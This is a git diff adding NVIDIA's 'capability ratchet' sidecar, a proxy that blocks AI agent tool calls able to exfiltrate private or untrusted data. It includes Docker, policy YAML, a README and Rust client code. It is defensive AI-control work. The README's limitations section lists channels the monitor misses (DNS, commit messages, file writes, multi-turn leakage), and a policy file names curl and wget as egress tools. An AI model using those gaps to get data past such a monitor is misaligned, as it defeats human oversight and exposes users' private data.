"03ce4caeaac547cdf713d280eda22a730824dd11e6b8c3ca9e42247b25c631e3" +dependencies = [ + "bumpalo", + "proc-macro2", + "quote", + "syn", + "wasm-bindgen-shared", +] + +[[package]] +name = "wasm-bindgen-shared" +version = "0.2.114" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "75a326b8c223ee17883a4251907455a2431acc2791c98c26279376490c378c16" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "wasm-encoder" +version = "0.244.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "990065f2fe63003fe337b932cfb5e3b80e0b4d0f5ff650e6985b1048f62c8319" +dependencies = [ + "leb128fmt", + "wasmparser", +] + +[[package]] +name = "wasm-metadata" +version = "0.244.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bb0e353e6a2fbdc176932bbaab493762eb1255a7900fe0fea1a2f96c296cc909" +dependencies = [ + "anyhow", + "indexmap", + "wasm-encoder", + "wasmparser", +] + +[[package]] +name = "wasmparser" +version = "0.244.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "47b807c72e1bac69382b3a6fb3dbe8ea4c0ed87ff5629b8685ae6b9a611028fe" +dependencies = [ + "bitflags", + "hashbrown 0.15.5", + "indexmap", + "semver", +] + +[[package]] +name = "web-sys" +version = "0.3.91" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "854ba17bb104abfb26ba36da9729addc7ce7f06f5c0f90f3c391f8461cca21f9" +dependencies = [ + "js-sys", + "wasm-bindgen", +] + +[[package]] +name = "web-time" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5a6580f308b1fad9207618087a65c04e7a10bc77e02c8e84e9b00dd4b12fa0bb" +dependencies = [ + "js-sys", + "wasm-bindgen", +] + +[[package]] +name = "webpki-roots" +version = "1.0.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "22cfaf3c063993ff62e73cb4311efde4db1efb31ab78a3e5c457939ad5cc0bed" +dependencies = [ + "rustls-pki-types", +] + +[[package]] +name = "windows-link" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f0805222e57f7521d6a62e36fa9163bc891acd422f971defe97d64e70d0a4fe5" + +[[package]] +name = "windows-sys" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d" +dependencies = [ + "windows-targets 0.52.6", +] + +[[package]] +name = "windows-sys" +version = "0.60.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f2f500e4d28234f72040990ec9d39e3a6b950f9f22d3dba18416c35882612bcb" +dependencies = [ + "windows-targets 0.53.5", +] + +[[package]] +name = "windows-sys" +version = "0.61.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ae137229bcbd6cdf0f7b80a31df61766145077ddf49416a728b02cb3921ff3fc" +dependencies = [ + "windows-link", +] + +[[package]] +name = "windows-targets" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9b724f72796e036ab90c1021d4780d4d3d648aca59e491e6b98e725b84e99973" +dependencies = [ + "windows_aarch64_gnullvm 0.52.6", + "windows_aarch64_msvc 0.52.6", + "windows_i686_gnu 0.52.6", + "windows_i686_gnullvm 0.52.6", + "windows_i686_msvc 0.52.6", + "windows_x86_64_gnu 0.52.6", + "windows_x86_64_gnullvm 0.52.6", + "windows_x86_64_msvc 0.52.6", +] + +[[package]] +name = "windows-targets" +version = "0.53.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4945f9f551b88e0d65f3db0bc25c33b8acea4d9e41163edf90dcd0b19f9069f3" +dependencies = [ + "windows-link", + "windows_aarch64_gnullvm 0.53.1", + "windows_aarch64_msvc 0.53.1", + "windows_i686_gnu 0.53.1", + "windows_i686_gnullvm 0.53.1", + "windows_i686_msvc 0.53.1", + "windows_x86_64_gnu 0.53.1", + "windows_x86_64_gnullvm 0.53.1", + "windows_x86_64_msvc 0.53.1", +] + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32a4622180e7a0ec044bb555404c800bc9fd9ec262ec147edd5989ccd0c02cd3" + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.53.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a9d8416fa8b42f5c947f8482c43e7d89e73a173cead56d044f6a56104a6d1b53" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "09ec2a7bb152e2252b53fa7803150007879548bc709c039df7627cabbd05d469" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.53.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b9d782e804c2f632e395708e99a94275910eb9100b2114651e04744e9b125006" + +[[package]] +name = "windows_i686_gnu" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8e9b5ad5ab802e97eb8e295ac6720e509ee4c243f69d781394014ebfe8bbfa0b" + +[[package]] +name = "windows_i686_gnu" +version = "0.53.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "960e6da069d81e09becb0ca57a65220ddff016ff2d6af6a223cf372a506593a3" + +[[package]] +name = "windows_i686_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0eee52d38c090b3caa76c563b86c3a4bd71ef1a819287c19d586d7334ae8ed66" + +[[package]] +name = "windows_i686_gnullvm" +version = "0.53.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fa7359d10048f68ab8b09fa71c3daccfb0e9b559aed648a8f95469c27057180c" + +[[package]] +name = "windows_i686_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "240948bc05c5e7c6dabba28bf89d89ffce3e303022809e73deaefe4f6ec56c66" + +[[package]] +name = "windows_i686_msvc" +version = "0.53.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e7ac75179f18232fe9c285163565a57ef8d3c89254a30685b57d83a38d326c2" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "147a5c80aabfbf0c7d901cb5895d1de30ef2907eb21fbbab29ca94c5b08b1a78" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.53.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9c3842cdd74a865a8066ab39c8a7a473c0778a3f29370b5fd6b4b9aa7df4a499" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "24d5b23dc417412679681396f2b49f3de8c1473deb516bd34410872eff51ed0d" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.53.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0ffa179e2d07eee8ad8f57493436566c7cc30ac536a3379fdf008f47f6bb7ae1" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "589f6da84c646204747d1270a2a5661ea66ed1cced2631d546fdfb155959f9ec" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.53.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d6bbff5f0aada427a1e5a6da5f1f98158182f26556f345ac9e04d36d0ebed650" + +[[package]] +name = "wiremock" +version = "0.6.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "08db1edfb05d9b3c1542e521aea074442088292f00b5f28e435c714a98f85031" +dependencies = [ + "assert-json-diff", + "base64", + "deadpool", + "futures", + "http", + "http-body-util", + "hyper", + "hyper-util", + "log", + "once_cell", + "regex", + "serde", + "serde_json", + "tokio", + "url", +] + +[[package]] +name = "wit-bindgen" +version = "0.51.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d7249219f66ced02969388cf2bb044a09756a083d0fab1e566056b04d9fbcaa5" +dependencies = [ + "wit-bindgen-rust-macro", +] + +[[package]] +name = "wit-bindgen-core" +version = "0.51.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ea61de684c3ea68cb082b7a88508a8b27fcc8b797d738bfc99a82facf1d752dc" +dependencies = [ + "anyhow", + "heck", + "wit-parser", +] + +[[package]] +name = "wit-bindgen-rust" +version = "0.51.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b7c566e0f4b284dd6561c786d9cb0142da491f46a9fbed79ea69cdad5db17f21" +dependencies = [ + "anyhow", + "heck", + "indexmap", + "prettyplease", + "syn", + "wasm-metadata", + "wit-bindgen-core", + "wit-component", +] + +[[package]] +name = "wit-bindgen-rust-macro" +version = "0.51.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0c0f9bfd77e6a48eccf51359e3ae77140a7f50b1e2ebfe62422d8afdaffab17a" +dependencies = [ + "anyhow", + "prettyplease", + "proc-macro2", + "quote", + "syn", + "wit-bindgen-core", + "wit-bindgen-rust", +] + +[[package]] +name = "wit-component" +version = "0.244.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9d66ea20e9553b30172b5e831994e35fbde2d165325bec84fc43dbf6f4eb9cb2" +dependencies = [ + "anyhow", + "bitflags", + "indexmap", + "log", + "serde", + "serde_derive", + "serde_json", + "wasm-encoder", + "wasm-metadata", + "wasmparser", + "wit-parser", +] + +[[package]] +name = "wit-parser" +version = "0.244.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ecc8ac4bc1dc3381b7f59c34f00b67e18f910c2c0f50015669dde7def656a736" +dependencies = [ + "anyhow", + "id-arena", + "indexmap", + "log", + "semver", + "serde", + "serde_derive", + "serde_json", + "unicode-xid", + "wasmparser", +] + +[[package]] +name = "writeable" +version = "0.6.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9edde0db4769d2dc68579893f2306b26c6ecfbe0ef499b013d731b7b9247e0b9" + +[[package]] +name = "yoke" +version = "0.8.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "72d6e5c6afb84d73944e5cedb052c4680d5657337201555f9f2a16b7406d4954" +dependencies = [ + "stable_deref_trait", + "yoke-derive", + "zerofrom", +] + +[[package]] +name = "yoke-derive" +version = "0.8.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b659052874eb698efe5b9e8cf382204678a0086ebf46982b79d6ca3182927e5d" +dependencies = [ + "proc-macro2", + "quote", + "syn", + "synstructure", +] + +[[package]] +name = "zerocopy" +version = "0.8.40" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a789c6e490b576db9f7e6b6d661bcc9799f7c0ac8352f56ea20193b2681532e5" +dependencies = [ + "zerocopy-derive", +] + +[[package]] +name = "zerocopy-derive" +version = "0.8.40" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f65c489a7071a749c849713807783f70672b28094011623e200cb86dcb835953" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "zerofrom" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "50cc42e0333e05660c3587f3bf9d0478688e15d870fab3346451ce7f8c9fbea5" +dependencies = [ + "zerofrom-derive", +] + +[[package]] +name = "zerofrom-derive" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d71e5d6e06ab090c67b5e44993ec16b72dcbaabc526db883a360057678b48502" +dependencies = [ + "proc-macro2", + "quote", + "syn", + "synstructure", +] + +[[package]] +name = "zeroize" +version = "1.8.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b97154e67e32c85465826e8bcc1c59429aaaf107c1e4a9e53c8d8ccd5eff88d0" + +[[package]] +name = "zerotrie" +version = "0.2.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2a59c17a5562d507e4b54960e8569ebee33bee890c70aa3fe7b97e85a9fd7851" +dependencies = [ + "displaydoc", + "yoke", + "zerofrom", +] + +[[package]] +name = "zerovec" +version = "0.11.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6c28719294829477f525be0186d13efa9a3c602f7ec202ca9e353d310fb9a002" +dependencies = [ + "yoke", + "zerofrom", + "zerovec-derive", +] + +[[package]] +name = "zerovec-derive" +version = "0.11.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eadce39539ca5cb3985590102671f2567e659fca9666581ad3411d59207951f3" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "zmij" +version = "1.0.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b8848ee67ecc8aedbaf3e4122217aff892639231befc6a1b58d29fff4c2cabaa" diff --git a/traits/capability-ratchet/Cargo.toml b/traits/capability-ratchet/Cargo.toml new file mode 100644 index 0000000..d8b19ca --- /dev/null +++ b/traits/capability-ratchet/Cargo.toml @@ -0,0 +1,39 @@ +# SPDX-FileCopyrightText: Copyright (c) 2025-2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +# SPDX-License-Identifier: Apache-2.0 + +[package] +name = "capability-ratchet-sidecar" +version = "0.1.0" +edition = "2024" +rust-version = "1.88" +license = "Apache-2.0" +description = "Capability Ratchet sidecar for OpenShell sandboxes" + +[dependencies] +axum = "0.8" +clap = { version = "4.5", features = ["derive", "env"] } +glob-match = "0.2" +regex = "1" +reqwest = { version = "0.12", default-features = false, features = ["rustls-tls", "json"] } +serde = { version = "1", features = ["derive"] } +serde_json = "1" +serde_yaml = "0.9" +shell-words = "1" +thiserror = "2" +tokio = { version = "1.43", features = ["full"] } +tracing = "0.1" +tracing-subscriber = { version = "0.3", features = ["json", "env-filter"] } +url = "2" +futures = "0.3" + +[dev-dependencies] +tower = { version = "0.5", features = ["util"] } +wiremock = "0.6" +tempfile = "3" +http-body-util = "0.1" + +[lints.clippy] +pedantic = { level = "warn", priority = -1 } +nursery = { level = "warn", priority = -1 } +module_name_repetitions = "allow" +must_use_candidate = "allow" diff --git a/traits/capability-ratchet/Dockerfile b/traits/capability-ratchet/Dockerfile new file mode 100644 index 0000000..f0845f0 --- /dev/null +++ b/traits/capability-ratchet/Dockerfile @@ -0,0 +1,56 @@ +# syntax=docker/dockerfile:1.4 + +# SPDX-FileCopyrightText: Copyright (c) 2025-2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +# SPDX-License-Identifier: Apache-2.0 + +# Capability Ratchet sandbox image for OpenShell +# +# Builds on the community base sandbox and adds the capability ratchet +# sidecar, which prevents AI agent data exfiltration by dynamically +# revoking capabilities when private/untrusted data enters the context. +# +# Build: docker build -t openshell-ratchet --build-arg BASE_IMAGE=openshell-base . +# Run: openshell sandbox create --from capability-ratchet -- ratchet-start + +ARG BASE_IMAGE=ghcr.io/nvidia/openshell-community/sandboxes/base:latest + +# Stage 1: Build Rust binary +FROM rust:1.88-bookworm AS builder +WORKDIR /build +COPY Cargo.toml Cargo.lock ./ +COPY src/ src/ +RUN cargo build --release + +# Stage 2: Runtime +FROM ${BASE_IMAGE} + +USER root + +# Install bash-ast binary (prebuilt from GitHub release) +RUN ARCH=$(uname -m) && \ + curl -fsSL "https://github.com/cv/bash-ast/releases/download/v0.3.2/bash-ast-v0.3.2-${ARCH}-unknown-linux-gnu.tar.gz" \ + | tar xz -C /usr/local/bin bash-ast && \ + chmod +x /usr/local/bin/bash-ast + +# Ratchet sidecar (single static binary, no runtime deps) +COPY --from=builder /build/target/release/capability-ratchet-sidecar /usr/local/bin/ + +# Copy OpenShell sandbox policy +COPY policy.yaml /etc/navigator/policy.yaml + +# Copy ratchet-specific configs +COPY ratchet-config.yaml /app/ratchet-config.yaml +COPY ratchet-policy.yaml /app/policy.yaml + +# Copy startup script and readme +COPY ratchet-start.sh /usr/local/bin/ratchet-start +COPY README.md /app/README.md +RUN chmod +x /usr/local/bin/ratchet-start + +# Create workspace +RUN mkdir -p /sandbox/.ratchet && \ + chown -R sandbox:sandbox /sandbox/.ratchet + +USER sandbox + +ENTRYPOINT ["/bin/bash"] diff --git a/traits/capability-ratchet/README.md b/traits/capability-ratchet/README.md new file mode 100644 index 0000000..aaee089 --- /dev/null +++ b/traits/capability-ratchet/README.md @@ -0,0 +1,94 @@ + + + +# Capability Ratchet Sandbox + +An OpenShell sandbox that prevents AI agent data exfiltration through dynamic capability ratcheting. + +## What's Included + +- **Capability Ratchet sidecar** — A per-request, stateless HTTP proxy that sits between the OpenShell sandbox proxy and the real inference backend +- **bash-ast** — Go binary for AST-based bash command analysis +- **Ratchet policy** — Configurable YAML policy defining which tools produce taint and which capabilities they require + +## How It Works + +``` +Agent (Claude/Codex) + │ + ▼ +OpenShell Sandbox Proxy (existing, Rust) + │ TLS terminate, detect inference pattern + │ Route to "ratchet" backend (inference-routes.yaml) + ▼ +Capability Ratchet Sidecar (:4001) + │ 1. Detect taint from tool results in request messages + │ 2. Forward to real backend + │ 3. Analyze tool calls in response + │ 4. Block/rewrite if taint + forbidden capability + ▼ +Real Inference Backend (Anthropic, OpenAI, NIM, LM Studio) +``` + +When an agent reads private data (email, calendar) or untrusted input (wiki pages), the ratchet detects the taint and prevents subsequent tool calls that could exfiltrate that data (e.g., `curl` to an external URL). + +## Build + +```bash +docker build -t openshell-ratchet --build-arg BASE_IMAGE=openshell-base . +``` + +## Usage + +```bash +# Create a sandbox with the ratchet +openshell sandbox create --from capability-ratchet -- ratchet-start + +# Inside the sandbox, verify the sidecar is running +curl http://127.0.0.1:4001/health +``` + +## Configuration + +- `ratchet-config.yaml` — Sidecar configuration (upstream URL, API key, listen port) +- `ratchet-policy.yaml` — Tool taint and capability declarations +- `policy.yaml` — OpenShell network policy (filesystem, process, network ACLs) + +### Inference Routes + +Add to your OpenShell `inference-routes.yaml` to route inference traffic through the ratchet: + +```yaml +routes: + - routing_hint: ratchet + endpoint: http://127.0.0.1:4001/v1 + model: claude-sonnet-4 + protocols: + - openai_chat_completions + api_key: internal +``` + +## Shadow Mode + +Set `shadow_mode: true` in `ratchet-config.yaml` to log violations without blocking. Useful for initial deployment and tuning. + +## Why not just `--network=none`? + +Docker's `--network=none` is the simplest way to prevent network exfiltration, but it's all-or-nothing: the agent can't call *any* API. In practice, agents need network access to do useful work — calling GitHub APIs, querying internal services, fetching documentation, etc. + +The capability ratchet provides a middle ground: + +- **Selective enforcement** — Approved endpoints (GitHub, internal APIs, package registries) remain accessible. Only *unknown* or *suspicious* destinations are blocked, and only when private data is in context. +- **Context-aware** — The same `curl` command is allowed when no private data is present, but blocked when the conversation contains tainted tool results (email, calendar, wiki content). The restriction is dynamic, not static. +- **User approval flow** — When a tool call is blocked, the agent explains the situation and the user can approve the action. The approval is carried via the `X-Ratchet-Approve` header on retry, so legitimate workflows aren't permanently blocked. +- **Composable with network isolation** — You can still use `--network=none` or network ACLs for defense-in-depth. The ratchet adds a semantic layer on top: it understands *what* data is in context and *which* tools could leak it. + +## Limitations + +The capability ratchet prevents direct network exfiltration through tool calls, but it is not a complete data loss prevention system. Known limitations: + +- **Indirect leakage channels** — The ratchet does not prevent encoding data in file writes, git commit messages, DNS queries, or "safe" API call request bodies. If the agent writes private data to a file that is later synced or committed, the ratchet will not catch it. +- **Tool-name-based taint** — Taint detection relies on the policy config declaring which tool names produce taint. If an unlisted tool returns sensitive data, no taint flag is set and no restrictions apply. Content-based taint detection (PII patterns, secrets scanning) is planned for a future release. +- **Non-streaming for tainted requests** — When taint is detected, the sidecar forces `stream: false` on the backend call so it can inspect the full response before returning it. This adds latency for tainted requests. The `X-Ratchet-Stream-Blocked: true` response header is set when streaming was disabled, so clients can display appropriate UX (e.g., a spinner or explanation). +- **Bash AST analysis** — Command analysis depends on the bash-ast sidecar. If bash-ast is unavailable, bash tool calls in tainted contexts are blocked by default (fail-closed). +- **Single-request scope** — The ratchet is stateless and per-request. It cannot track data flow across multiple requests or detect slow exfiltration spread over many turns. diff --git a/traits/capability-ratchet/docs/architecture.svg b/traits/capability-ratchet/docs/architecture.svg new file mode 100644 index 0000000..d5d81fa --- /dev/null +++ b/traits/capability-ratchet/docs/architecture.svg @@ -0,0 +1,68 @@ + + + Capability Ratchet — Request Flow + + + + Agent + Claude / Codex + + + OpenShell Proxy + TLS · route · policy + + + Capability Ratchet + Sidecar (:4001) + Rust / Axum + + + LLM Backend + Anthropic / OpenAI + + + + + + + + + + Sidecar Request Pipeline + + + + PRE-CALL + 1. Normalize messages + (Chat Completions / Anthropic / Responses) + 2. Detect taint from tool results + (has-private-data / has-untrusted-input) + 3. Inject safety hint if tainted + + + + FORWARD + → Backend (reqwest) + + + + POST-CALL (if tainted) + 4. Extract tool calls from response + 5. For each tool call: + • Parse bash AST (via Unix socket) + • Unwrap bash -c recursively + • Classify: network, interpreter, reversibility + • Check against revocation matrix + 6. Block, sandbox, or pass through + 7. Check X-Ratchet-Approve header + + + + Revocation Matrix + neither flag → nothing forbidden + private-data → network:egress + untrusted-input → exec:irreversible + both flags → egress + arbitrary + + irreversible + network:egress:approved is NEVER forbidden + diff --git a/traits/capability-ratchet/policy.yaml b/traits/capability-ratchet/policy.yaml new file mode 100644 index 0000000..cdc8eae --- /dev/null +++ b/traits/capability-ratchet/policy.yaml @@ -0,0 +1,75 @@ +# SPDX-FileCopyrightText: Copyright (c) 2025-2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +# SPDX-License-Identifier: Apache-2.0 + +# OpenShell sandbox network policy for the capability ratchet sandbox. +# This defines filesystem, process, and network policies enforced by +# OpenShell's proxy (same structure as openclaw/policy.yaml). + +version: 1 + +filesystem_policy: + include_workdir: true + read_only: + - /usr + - /lib + - /proc + - /dev/urandom + - /app + - /etc + - /var/log + read_write: + - /sandbox + - /tmp + - /dev/null + +landlock: + compatibility: best_effort + +process: + run_as_user: sandbox + run_as_group: sandbox + +network_policies: + # The ratchet sidecar process needs to reach the upstream inference backend + ratchet_sidecar: + name: ratchet_sidecar + endpoints: + - { host: api.anthropic.com, port: 443 } + - { host: api.openai.com, port: 443 } + - { host: integrate.api.nvidia.com, port: 443 } + binaries: + - { path: /usr/local/bin/capability-ratchet-sidecar } + + # Agent tools (Claude Code, etc.) — route through ratchet sidecar + claude_code: + name: claude_code + endpoints: + - { host: statsig.anthropic.com, port: 443 } + - { host: sentry.io, port: 443 } + - { host: raw.githubusercontent.com, port: 443 } + - { host: platform.claude.com, port: 443 } + binaries: + - { path: /usr/local/bin/claude } + - { path: /usr/bin/node } + + github: + name: github + endpoints: + - host: github.com + port: 443 + protocol: rest + tls: terminate + enforcement: enforce + rules: + - allow: + method: GET + path: "/**/info/refs*" + - allow: + method: POST + path: "/**/git-upload-pack" + binaries: + - { path: /usr/bin/git } + +inference: + allowed_routes: + - ratchet diff --git a/traits/capability-ratchet/ratchet-config.yaml b/traits/capability-ratchet/ratchet-config.yaml new file mode 100644 index 0000000..f932380 --- /dev/null +++ b/traits/capability-ratchet/ratchet-config.yaml @@ -0,0 +1,22 @@ +# SPDX-FileCopyrightText: Copyright (c) 2025-2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +# SPDX-License-Identifier: Apache-2.0 + +# Capability Ratchet sidecar configuration for OpenShell sandboxes. +# +# The sidecar sits between the OpenShell proxy and the real inference backend, +# analyzing each request for taint (private/untrusted data in context) and +# blocking or sandboxing tool calls that would violate the ratchet policy. + +upstream: + url: https://api.anthropic.com/v1 # Real inference backend + api_key_env: ANTHROPIC_API_KEY # Env var containing the API key + # model: claude-sonnet-4 # Optional model override + +policy_file: /app/policy.yaml # Capability ratchet policy + +listen: + host: 127.0.0.1 + port: 4001 + +bash_ast_socket: /tmp/bash-ast.sock # Optional — falls back to shlex +shadow_mode: false # Set to true for log-only mode diff --git a/traits/capability-ratchet/ratchet-policy.yaml b/traits/capability-ratchet/ratchet-policy.yaml new file mode 100644 index 0000000..28a8951 --- /dev/null +++ b/traits/capability-ratchet/ratchet-policy.yaml @@ -0,0 +1,63 @@ +# SPDX-FileCopyrightText: Copyright (c) 2025-2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +# SPDX-License-Identifier: Apache-2.0 + +# Capability Ratchet policy — defines which tools produce taint +# and which capabilities they require. +# +# Resolution order for a command: +# 1. tools["cmd subcmd"] -> match (taint + requires from config) +# 2. tools["cmd"] -> base tool fallback +# 3. knownSafe -> no taint, no requires +# 4. unknown -> both taint flags (fail closed) + +version: "2.0" +name: openshell-default + +tools: + # --- Private data sources --- + outlook-cli: + taint: [has-private-data] + + outlook-cli read: + taint: [has-private-data] + + outlook-cli search: + taint: [has-private-data] + + calendar-cli: + taint: [has-private-data] + + calendar-cli events: + taint: [has-private-data] + + # --- Untrusted input sources --- + confluence-cli: + taint: [has-untrusted-input] + + confluence-cli search: + taint: [has-untrusted-input] + + # --- Network egress tools --- + curl: + requires: [network:egress] + + wget: + requires: [network:egress] + + # --- Tools with approved endpoints --- + curl api.github.com: + requires: [network:egress:approved] + + git push: + requires: [network:egress:approved] + +# Endpoints approved for egress even under taint +approvedEndpoints: + - "api.github.com" + - "gitlab.com" + - "*.nvidia.com" + +# Additional known-safe commands (merged with built-in list). +# Note: tools listed under `tools:` above don't need to be here — +# they already resolve at step 1/2, before knownSafe (step 3). +knownSafe: [] diff --git a/traits/capability-ratchet/ratchet-start.sh b/traits/capability-ratchet/ratchet-start.sh new file mode 100644 index 0000000..4d58214 --- /dev/null +++ b/traits/capability-ratchet/ratchet-start.sh @@ -0,0 +1,42 @@ +#!/usr/bin/env bash + +# SPDX-FileCopyrightText: Copyright (c) 2025-2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +# SPDX-License-Identifier: Apache-2.0 + +# ratchet-start — Start the capability ratchet sidecar. +# Designed for OpenShell sandboxes. +# +# Usage: +# openshell sandbox create --from capability-ratchet -- ratchet-start +set -euo pipefail + +# Start bash-ast server in background (provides AST parsing over Unix socket) +bash-ast --server /tmp/bash-ast.sock & +BASH_AST_PID=$! + +# Give bash-ast a moment to start +sleep 0.2 + +# Start ratchet sidecar +capability-ratchet-sidecar --config /app/ratchet-config.yaml & +SIDECAR_PID=$! + +# Wait for sidecar to be ready +echo "Waiting for capability ratchet sidecar to start..." +for _i in $(seq 1 50); do + if curl -sf http://127.0.0.1:4001/health > /dev/null 2>&1; then + break + fi + sleep 0.1 +done + +if curl -sf http://127.0.0.1:4001/health > /dev/null 2>&1; then + echo "" + echo "Capability Ratchet sidecar is running." + echo " Endpoint: http://127.0.0.1:4001/v1/chat/completions" + echo " Health: http://127.0.0.1:4001/health" + echo " PIDs: bash-ast=${BASH_AST_PID} sidecar=${SIDECAR_PID}" + echo "" +else + echo "Warning: sidecar health check failed after 5s" >&2 +fi diff --git a/traits/capability-ratchet/skills/.gitkeep b/traits/capability-ratchet/skills/.gitkeep new file mode 100644 index 0000000..e69de29 diff --git a/traits/capability-ratchet/src/bash_ast.rs b/traits/capability-ratchet/src/bash_ast.rs new file mode 100644 index 0000000..b62e0f7 --- /dev/null +++ b/traits/capability-ratchet/src/bash_ast.rs @@ -0,0 +1,154 @@ +// SPDX-FileCopyrightText: Copyright (c) 2025-2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +//! Async client for bash-ast Unix socket server. +//! +//! Protocol: NDJSON (newline-delimited JSON) over Unix socket. +//! Request: `{"method":"parse","script":"echo hello"}\n` +//! Response: `{"result":{...ast...}}\n` +//! Error: `{"error":"message"}\n` + +use serde_json::{Map, Value}; +use tokio::io::{AsyncBufReadExt, AsyncWriteExt, BufReader}; +use tokio::net::UnixStream; +use tokio::sync::Mutex; +use tracing::debug; + +use crate::error::SidecarError; + +const DEFAULT_SOCKET_PATH: &str = "/tmp/bash-ast.sock"; + +/// Async NDJSON client for the bash-ast Unix socket server. +pub struct BashAstClient { + socket_path: String, + inner: Mutex>, +} + +struct Connection { + reader: BufReader>, + writer: tokio::io::WriteHalf, +} + +impl BashAstClient { + /// Create a new client with the given socket path. + pub fn new(socket_path: Option<&str>) -> Self { + let path = socket_path + .map(String::from) + .or_else(|| std::env::var("BASH_AST_SOCKET").ok()) + .unwrap_or_else(|| DEFAULT_SOCKET_PATH.into()); + Self { + socket_path: path, + inner: Mutex::new(None), + } + } + + async fn ensure_connected( + inner: &mut Option, + socket_path: &str, + ) -> Result<(), SidecarError> { + if inner.is_none() { + let stream = UnixStream::connect(socket_path).await.map_err(|e| { + SidecarError::BashAst(format!("Cannot connect to bash-ast at {socket_path}: {e}")) + })?; + let (read_half, write_half) = tokio::io::split(stream); + *inner = Some(Connection { + reader: BufReader::new(read_half), + writer: write_half, + }); + } + Ok(()) + } + + async fn send_request(&self, payload: &Value) -> Result { + let mut guard = self.inner.lock().await; + Self::ensure_connected(&mut guard, &self.socket_path).await?; + + let conn = guard.as_mut().unwrap(); + let line = format!("{}\n", serde_json::to_string(payload)?); + + if let Err(e) = conn.writer.write_all(line.as_bytes()).await { + *guard = None; + return Err(SidecarError::BashAst(format!("Connection lost: {e}"))); + } + if let Err(e) = conn.writer.flush().await { + *guard = None; + return Err(SidecarError::BashAst(format!("Connection lost: {e}"))); + } + + let mut response_line = String::new(); + let bytes_read = conn + .reader + .read_line(&mut response_line) + .await + .map_err(|e| { + *guard = None; + SidecarError::BashAst(format!("Connection lost: {e}")) + })?; + + if bytes_read == 0 { + *guard = None; + return Err(SidecarError::BashAst("Server closed the connection".into())); + } + + drop(guard); + + let response: Value = serde_json::from_str(&response_line) + .map_err(|e| SidecarError::BashAst(format!("Invalid JSON from server: {e}")))?; + + if let Some(err) = response.get("error").and_then(Value::as_str) { + return Err(SidecarError::BashSyntax(err.into())); + } + + Ok(response) + } 